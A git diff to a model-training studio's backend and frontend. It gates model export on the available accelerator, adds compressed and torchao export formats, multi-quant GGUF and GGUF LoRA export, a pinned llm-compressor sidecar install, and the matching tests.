     """
-    from utils.hardware import get_gpu_summary, get_package_versions
+    from utils.hardware import get_gpu_summary, get_package_versions, export_capability
 
     body = {
         "gpu": get_gpu_summary(),
         "versions": get_package_versions(),
+        # Export capability + torch-aware reason; the Export UI grays out with the message.
+        **export_capability(),
     }
     if include_details:
         from utils.llama_cpp_update import get_installed_llama_version
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 7e05373f11..9dc4d9451a 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -6,7 +6,7 @@
 from pathlib import Path, PureWindowsPath
 
 from pydantic import BaseModel, Field, field_validator
-from typing import List, Optional, Literal, Dict, Any
+from typing import List, Optional, Literal, Dict, Any, Union
 
 
 def _validate_save_directory(value: str) -> str:
@@ -168,6 +168,15 @@ class ExportMergedModelRequest(ExportCommonOptions):
         description = "Export precision / format for the merged model. The compressed-tensors "
         "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
     )
+    compressed_method: Optional[str] = Field(
+        None,
+        description = "Optional quantized-export alias. Either a compressed-tensors scheme "
+        "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) "
+        "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias "
+        "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. "
+        "When set, it overrides format_type. Lets the export UI expose the full set of formats "
+        "beyond the quick buttons.",
+    )
 
 
 class ExportBaseModelRequest(ExportCommonOptions):
@@ -189,9 +198,10 @@ class ExportGGUFRequest(BaseModel):
     def _check_save_directory(cls, v):
         return _validate_save_directory(v)
 
-    quantization_method: str = Field(
+    quantization_method: Union[str, List[str]] = Field(
         "Q4_K_M",
-        description = 'GGUF quantization method (e.g. "Q4_K_M")',
+        description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list '
+        '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.',
     )
     push_to_hub: bool = Field(
         False,
@@ -219,4 +229,13 @@ class ExportGGUFRequest(BaseModel):
 class ExportLoRAAdapterRequest(ExportCommonOptions):
     """Request for exporting only the LoRA adapter (not merged)."""
 
-    # Uses fields from ExportCommonOptions only
+    gguf: bool = Field(
+        False,
+        description = "If True, also convert the adapter to a GGUF LoRA file "
+        "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.",
+    )
+    gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field(
+        "q8_0",
+        description = "GGUF LoRA output float type (only used when gguf=True). "
+        "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).",
+    )
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index cf2cb2fa70..a7fd7cbec7 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -46,6 +46,23 @@ router = APIRouter()
 logger = get_logger(__name__)
 
 
+def _ensure_export_supported() -> None:
+    """Reject a mutating export request up front (HTTP 400) when the host can't export.
+
+    Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
+    (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
+    """
+    from utils.hardware import export_capability
+
+    cap = export_capability()
+    if not cap.get("export_supported", True):
+        raise HTTPException(
+            status_code = 400,
+            detail = cap.get("export_unsupported_message")
+            or "Export is not supported on this platform.",
+        )
+
+
 @router.post("/load-checkpoint", response_model = ExportOperationResponse)
 async def load_checkpoint(
     request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
@@ -58,6 +75,7 @@ async def load_checkpoint(
     a clear error instead of tearing down the user's other running workloads.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         # Run in a worker thread (spawns and waits on a subprocess, can take
         # minutes) so the event loop stays free to serve the live log SSE stream.
@@ -266,6 +284,7 @@ async def export_merged_model(
     Wraps ExportBackend.export_merged_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_merged_model,
@@ -275,6 +294,7 @@ async def export_merged_model(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            compressed_method = request.compressed_method,
         )
 
         if not success:
@@ -304,6 +324,7 @@ async def export_base_model(
     Wraps ExportBackend.export_base_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_base_model,
@@ -342,6 +363,7 @@ async def export_gguf(
     Wraps ExportBackend.export_gguf.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
         imatrix_file = request.imatrix_path or (True if request.imatrix else None)
@@ -382,6 +404,7 @@ async def export_lora_adapter(
     Wraps ExportBackend.export_lora_adapter.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_lora_adapter,
@@ -390,6 +413,8 @@ async def export_lora_adapter(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            gguf = request.gguf,
+            gguf_outtype = request.gguf_outtype,
         )
 
         if not success:
diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py
new file mode 100644
index 0000000000..e04417f933
--- /dev/null
+++ b/studio/backend/tests/test_export_capability.py
@@ -0,0 +1,156 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for export capability gating.
+
+Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise
+(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without
+PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU.
+"""
+
+import ast
+import builtins
+from pathlib import Path
+
+import pytest
+
+import utils.hardware.hardware as hw
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+def _src(rel):
+    return (_BACKEND / rel).read_text(encoding = "utf-8")
+
+
+def _func_src(rel, name):
+    src = _src(rel)
+    node = next(
+        n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
+    )
+    return ast.get_source_segment(src, node)
+
+
+# -- capability matrix --------------------------------------------------------------------------
+
+
+def _patch(monkeypatch, *, torch: bool, device, apple: bool):
+    monkeypatch.setattr(hw, "_has_torch", lambda: torch)
+    monkeypatch.setattr(hw, "get_device", lambda: device)
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple)
+
+
+def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch):
+    # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing".
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "no_accelerator"
+    assert "accelerator" in cap["export_unsupported_message"].lower()
+    # Must NOT tell a user with PyTorch installed to install PyTorch.
+    assert "PyTorch is not installed" not in cap["export_unsupported_message"]
+
+
+def test_cuda_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is True
+    assert cap["export_unsupported_reason"] is None
+    assert cap["export_unsupported_message"] is None
+
+
+def test_xpu_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_mlx_without_torch_supports_export(monkeypatch):
+    # Apple Silicon MLX exports without PyTorch.
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch):
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "pytorch_not_installed"
+    assert "PyTorch is not installed" in cap["export_unsupported_message"]
+
+
+def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch):
+    # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch.
+    for has_torch in (False, True):
+        _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True)
+        cap = hw.export_capability()
+        assert cap["export_supported"] is False
+        assert cap["export_unsupported_reason"] == "mlx_unavailable"
+        assert "MLX" in cap["export_unsupported_message"]
+
+
+# -- import safety without PyTorch --------------------------------------------------------------
+
+
+def test_export_backend_imports_without_torch(monkeypatch):
+    """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a
+    clean 'PyTorch is not installed' message from an export attempt, not crash at import."""
+    import importlib
+    import sys
+
+    real_import = builtins.__import__
+
+    def blocking_import(name, *args, **kwargs):
+        top = name.split(".")[0]
+        if top in {"torch", "unsloth"}:
+            raise ImportError(f"simulated: {top} not installed")
+        return real_import(name, *args, **kwargs)
+
+    # Drop any preloaded copies so the guarded import paths re-run under the block.
+    for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]:
+        monkeypatch.delitem(sys.modules, m, raising = False)
+    monkeypatch.delitem(sys.modules, "core.export.export", raising = False)
+    monkeypatch.setattr(builtins, "__import__", blocking_import)
+
+    mod = importlib.import_module("core.export.export")
+    assert mod._IS_MLX is False
+    assert mod.torch is None
+    assert mod._export_runtime_available() is False
+
+    be = mod.ExportBackend.__new__(mod.ExportBackend)
+    be.current_model = None
+    be.current_tokenizer = None
+    be.is_peft = False
+    be._audio_type = None
+    ok, message, out = be.export_merged_model("/tmp/does-not-matter")
+    assert ok is False
+    assert "PyTorch is not installed" in message
+
+
+# -- endpoint / backend wiring (ast) ------------------------------------------------------------
+
+
+def test_main_endpoints_expose_export_capability():
+    m = _src("main.py")
+    # Both system endpoints spread export_capability() into their response.
+    assert m.count("**export_capability()") >= 2
+    assert '"/api/system/hardware"' in m and '"/api/system"' in m
+
+
+def test_routes_guard_mutating_endpoints():
+    r = _src("routes/export.py")
+    assert "def _ensure_export_supported()" in r
+    # load + all four export endpoints call the guard.
+    assert r.count("_ensure_export_supported()") >= 6
+
+
+def test_export_methods_check_runtime():
+    e = _src("core/export/export.py")
+    assert "def _export_runtime_available()" in e
+    # Each export method returns the clear message when the runtime is missing.
+    assert e.count("_export_runtime_available()") >= 5
+    assert "_PYTORCH_MISSING_MESSAGE" in e
+
+
+def test_export_capability_reads_no_torch_helper():
+    cap = _func_src("utils/hardware/hardware.py", "export_capability")
+    assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap
diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py
index d914ff8651..f499390add 100644
--- a/studio/backend/tests/test_export_imatrix_compressed.py
+++ b/studio/backend/tests/test_export_imatrix_compressed.py
@@ -54,8 +54,7 @@ def test_merged_request_rejects_unknown_format():
 
 
 def test_export_gguf_threads_imatrix_to_save_and_push():
-    # imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the
-    # conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword.
+    # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw.
     g = _func_src("core/export/export.py", "export_gguf")
     assert g.count("**imatrix_kw") >= 2
     assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g
@@ -109,8 +108,139 @@ def test_export_merged_maps_compressed_to_save_method():
 
 
 def test_compressed_hub_push_uploads_local_dir_without_recompressing():
-    # A compressed Hub push must upload the already-built output_path, not re-run compression
-    # via push_to_hub_merged (which would compress a second time).
+    # A compressed / torchao Hub push must upload the built output_path, not re-quantize.
     m = _func_src("core/export/export.py", "export_merged_model")
-    assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m
+    assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m
     assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m
+
+
+# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) ---------------------------------
+
+
+def test_merged_request_accepts_torchao_aliases():
+    # Portable torchao aliases pass through compressed_method (validated in the backend registry).
+    for alias in ("torchao_fp8", "torchao_int8"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_routes_torchao_and_skips_nvidia_guard():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    # torchao is classified separately and its suffix comes from the torchao normalizer.
+    assert "_normalize_torchao_method(compressed_alias)" in m
+    assert "is_torchao = torchao_info is not None" in m
+    assert "is_compressed = compressed_alias is not None and not is_torchao" in m
+    # The NVIDIA guard applies to compressed-tensors only, not torchao.
+    assert "_has_nvidia_gpu()" in m
+    # torchao routes through save_method just like compressed.
+    assert "elif is_compressed or is_torchao:" in m
+
+
+def test_export_merged_nvidia_guard_present():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "requires an NVIDIA GPU" in m
+
+
+def test_has_nvidia_gpu_helper_reads_hardware_module():
+    h = _func_src("core/export/export.py", "_has_nvidia_gpu")
+    assert "DeviceType.CUDA" in h and "IS_ROCM" in h
+
+
+def test_export_merged_relaxes_is_peft_guard():
+    # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "Use 'Export Base Model' instead." not in m
+
+
+def test_unsloth_save_has_torchao_registry_and_path():
+    # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth.
+    save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8")
+    assert "def _normalize_torchao_method" in save_py
+    assert "def _unsloth_save_torchao" in save_py
+    assert "TORCHAO_EXPORT_SCHEMES = {" in save_py
+    # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path.
+    assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py
+    assert '"torchao_int8": ("int8", "torchao-int8")' in save_py
+
+
+# -- GGUF multi-quant list ----------------------------------------------------------------------
+
+
+def test_gguf_request_accepts_list_of_quants():
+    r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"])
+    assert r.quantization_method == ["Q4_K_M", "Q8_0"]
+    r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M")
+    assert r2.quantization_method == "Q4_K_M"
+
+
+def test_export_gguf_normalizes_quant_list():
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert "isinstance(quantization_method, (list, tuple))" in g
+    assert "quant_methods" in g
+
+
+# -- GGUF LoRA adapter export -------------------------------------------------------------------
+
+
+def test_lora_request_has_gguf_fields():
+    from models.export import ExportLoRAAdapterRequest
+
+    r = ExportLoRAAdapterRequest(save_directory = "/tmp/x")
+    assert r.gguf is False and r.gguf_outtype == "q8_0"
+    r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0")
+    assert r2.gguf is True and r2.gguf_outtype == "q8_0"
+
+
+def test_lora_request_rejects_bad_outtype():
+    from models.export import ExportLoRAAdapterRequest
+    with pytest.raises(ValidationError):
+        ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k")
+
+
+def test_export_lora_wires_gguf_save_method():
+    la = _func_src("core/export/export.py", "export_lora_adapter")
+    assert 'save_method = "lora"' in la
+    assert "quantization_method = outtype" in la
+
+
+def test_orchestrator_and_worker_pass_lora_gguf():
+    o = _func_src("core/export/orchestrator.py", "export_lora_adapter")
+    assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o
+    w = _src("core/export/worker.py")
+    assert 'gguf = cmd.get("gguf", False)' in w
+    assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w
+
+
+def test_route_passes_lora_gguf():
+    r = _src("routes/export.py")
+    assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r
+
+
+# -- compressed_method ("all formats" dropdown) -------------------------------------------------
+
+
+def test_merged_request_accepts_compressed_method():
+    # Defaults to None; any scheme alias is accepted (validation happens in the backend registry).
+    assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None
+    for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_resolves_alias_via_registry():
+    # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "compressed_method" in m
+    assert "_normalize_compressed_method(compressed_alias)" in m
+    assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m
+    assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m
+
+
+def test_orchestrator_and_worker_pass_compressed_method():
+    o = _func_src("core/export/orchestrator.py", "export_merged_model")
+    assert "compressed_method" in o and '"compressed_method": compressed_method' in o
+    assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py")
+
+
+def test_route_passes_compressed_method():
+    assert "compressed_method = request.compressed_method" in _src("routes/export.py")
diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py
index 5f2b2abbcf..62b537fbac 100644
--- a/studio/backend/utils/hardware/__init__.py
+++ b/studio/backend/utils/hardware/__init__.py
@@ -44,6 +44,12 @@ from .vram_estimation import (
     estimate_training_vram,
 )
 
+
+def export_capability() -> dict:
+    """Return live export capability from the hardware module."""
+    return _hardware.export_capability()
+
+
 __all__ = [
     "DeviceType",
     "DEVICE",
@@ -51,6 +57,7 @@ __all__ = [
     "IS_ROCM",
     "detect_hardware",
     "get_device",
+    "export_capability",
     "is_apple_silicon",
     "clear_gpu_cache",
     "get_gpu_memory_info",
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index cde7070075..8d6c919ebd 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -263,6 +263,49 @@ def get_device() -> DeviceType:
     return DEVICE
 
 
+def export_capability() -> dict:
+    """Whether model export can run here, with a torch-aware reason when it cannot.
+
+    Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at
+    import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The
+    reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch.
+
+    Returns {export_supported, export_unsupported_reason, export_unsupported_message}.
+    """
+    if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX):
+        return {
+            "export_supported": True,
+            "export_unsupported_reason": None,
+            "export_unsupported_message": None,
+        }
+    # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch"
+    # would be wrong advice on a Mac even when torch is also absent.
+    if is_apple_silicon():
+        reason = "mlx_unavailable"
+        message = (
+            "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run "
+            "`unsloth studio update` to restore MLX and enable export."
+        )
+    elif not _has_torch():
+        reason = "pytorch_not_installed"
+        message = (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    else:
+        reason = "no_accelerator"
+        message = (
+            "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+            "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export "
+            "on CPU only.)"
+        )
+    return {
+        "export_supported": False,
+        "export_unsupported_reason": reason,
+        "export_unsupported_message": message,
+    }
+
+
 def clear_gpu_cache():
     """
     Clear GPU memory cache for the current device.
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index ac0ecfbfcd..2a63caa5b2 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -226,6 +226,11 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510")
 # Backwards-compat alias
 _VENV_T5_DIR = _VENV_T5_550_DIR
 
+# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_*
+# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it
+# reuses the workspace torch (torch-agnostic).
+_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor")
+
 # Tier precedence: higher rank wins in _higher_tier.
 _TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
 
@@ -1518,6 +1523,152 @@ def _ensure_venv_t5_exists() -> bool:
     return _ensure_venv_t5_550_exists()
 
 
+# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) ---------------------
+# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize
+# Qwen3.5 / Gemma-4 / Llama.
+_LLMC_MAIN_TRANSFORMERS = "5.10.2"
+_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18"
+_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702"
+# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned.
+_VENV_LLMCOMPRESSOR_SPECS = (
+    f"transformers=={_LLMC_MAIN_TRANSFORMERS}",
+    f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}",
+    f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}",
+    "huggingface-hub==1.21.0",
+    "hf-xet==1.5.1",
+    "tokenizers==0.22.2",
+    "safetensors==0.8.0",
+    "accelerate==1.14.0",
+    "datasets==5.0.0",
+    "pydantic==2.13.4",
+    "pydantic-core==2.46.4",
+    "typing-inspection==0.4.2",
+    "loguru==0.7.3",
+    "pyyaml==6.0.3",
+    "nvidia-ml-py==13.610.43",
+    "pillow==12.3.0",
+    "auto-round==0.13.1",
+    "regex==2026.6.28",
+)
+# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes.
+_LLMC_SHADOW_FINGERPRINT = (
+    f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
+)
+_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint"
+
+
+def _llmcompressor_main_disabled() -> bool:
+    """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down)."""
+    return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+        "on",
+    }
+
+
+def _llmcompressor_shadow_is_valid() -> bool:
+    """True if the shadow dir exists with a marker matching the current pin fingerprint."""
+    marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER
+    try:
+        return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
+    except Exception:
+        return False
+
+
+def _ensure_venv_llmcompressor_exists() -> bool:
+    """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing.
+
+    All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars),
+    so the workspace torch is never touched. Returns True on success.
+    """
+    if _llmcompressor_shadow_is_valid():
+        return True
+    if _llmcompressor_main_disabled():
+        logger.warning(
+            "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; "
+            "compressed export of newer-transformers models will fail fast."
+        )
+        return False
+    if _env_offline():
+        logger.warning(
+            "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it."
+        )
+        return False
+
+    logger.warning(
+        "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...",
+        _VENV_LLMCOMPRESSOR_DIR,
+    )
+    shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True)
+    os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True)
+
+    # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed
+    # (compressed-tensors ships as a pre-release).
+    base = [
+        "--target",
+        _VENV_LLMCOMPRESSOR_DIR,
+        "--no-deps",
+        "--prerelease=allow",
+        *_VENV_LLMCOMPRESSOR_SPECS,
+    ]
+    cmds = []
+    if shutil.which("uv"):
+        cmds.append(["uv", "pip", "install", "--python", sys.executable, *base])
+    cmds.append(
+        [
+            sys.executable,
+            "-m",
+            "pip",
+            "install",
+            *[a for a in base if a != "--prerelease=allow"],
+            "--pre",
+        ]
+    )
+
+    last_out = ""
+    for cmd in cmds:
+        result = subprocess.run(
+            cmd,
+            stdout = subprocess.PIPE,
+            stderr = subprocess.STDOUT,
+            text = True,
+            env = child_env_without_native_path_secret(),
+            **_windows_hidden_subprocess_kwargs(),
+        )
+        last_out = result.stdout or ""
+        if result.returncode == 0:
+            try:
+                (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text(
+                    _LLMC_SHADOW_FINGERPRINT
+                )
+            except Exception:
+                pass
+            logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR)
+            return True
+        logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0])
+
+    logger.error(
+        "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s",
+        _LLMC_MAIN_SHA,
+        last_out[-4000:],
+    )
+    return False
+
+
+def llmcompressor_shadow_pythonpath() -> str | None:
+    """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None.
+
+    Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or
+    provisioning failed - callers then fall back to the fail-fast path.
+    """
+    if _llmcompressor_main_disabled():
+        return None
+    if _ensure_venv_llmcompressor_exists():
+        return _VENV_LLMCOMPRESSOR_DIR
+    return None
+
+
 def _activate_venv(venv_dir: str, label: str) -> None:
     """Prepend *venv_dir* to sys.path, purge stale modules, reimport."""
     if venv_dir not in sys.path:
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index e5fa6f0191..8c6ddd197a 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -70,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([
   "/login",
   "/signup",
   "/change-password",
+  // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason
+  // instead of a silent redirect; it self-gates via export capability, so nothing runs.
+  "/export",
 ]);
 
 function isChatOnlyAllowed(pathname: string): boolean {
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index ef4178ea42..fb1a1fc9c7 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -290,13 +290,12 @@ export function AppSidebar() {
 
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason);
-  // When Train/Export are greyed out (chat-only host), explain why on hover
-  // instead of disabling them silently. mlx_unavailable is the common macOS case
-  // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`.
-  const trainExportDisabledHint: string | undefined = !chatOnly
+  // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is
+  // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason.
+  const trainDisabledHint: string | undefined = !chatOnly
     ? undefined
     : chatOnlyReason === "mlx_unavailable"
-      ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export."
+      ? "Training needs MLX. Run `unsloth studio update` to enable Train."
       : chatOnlyReason === "intel_mac"
         ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only."
         : chatOnlyReason === "no_gpu"
@@ -1206,7 +1205,7 @@ export function AppSidebar() {
                   pathname === "/studio" || pathname.startsWith("/studio/")
                 }
                 disabled={chatOnly}
-                tooltip={trainExportDisabledHint}
+                tooltip={trainDisabledHint}
                 spinner={trainingInProgress}
                 onClick={() => {
                   if (chatOnly) return;
@@ -1235,7 +1234,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.train")}
                     active={pathname === "/studio" || pathname.startsWith("/studio/")}
                     disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
+                    tooltip={trainDisabledHint}
                     spinner={trainingInProgress}
                     onClick={() => {
                       if (chatOnly) return;
@@ -1256,11 +1255,8 @@ export function AppSidebar() {
                     icon={DownloadSquare01Icon}
                     label={t("shell.navigation.export")}
                     active={pathname === "/export" || pathname.startsWith("/export/")}
-                    disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
                     spinner={exportInProgress}
                     onClick={() => {
-                      if (chatOnly) return;
                       navigate({ to: "/export" });
                       closeMobileIfOpen();
                     }}
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index d1b4e88a6d..be9767a24f 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -127,6 +127,8 @@ export async function loadCheckpoint(params: {
 export async function exportMerged(params: {
   save_directory: string;
   format_type?: string;
+  /** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */
+  compressed_method?: string | null;
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
@@ -158,7 +160,8 @@ export async function exportBase(params: {
 
 export async function exportGGUF(params: {
   save_directory: string;
-  quantization_method: string;
+  /** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */
+  quantization_method: string | string[];
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
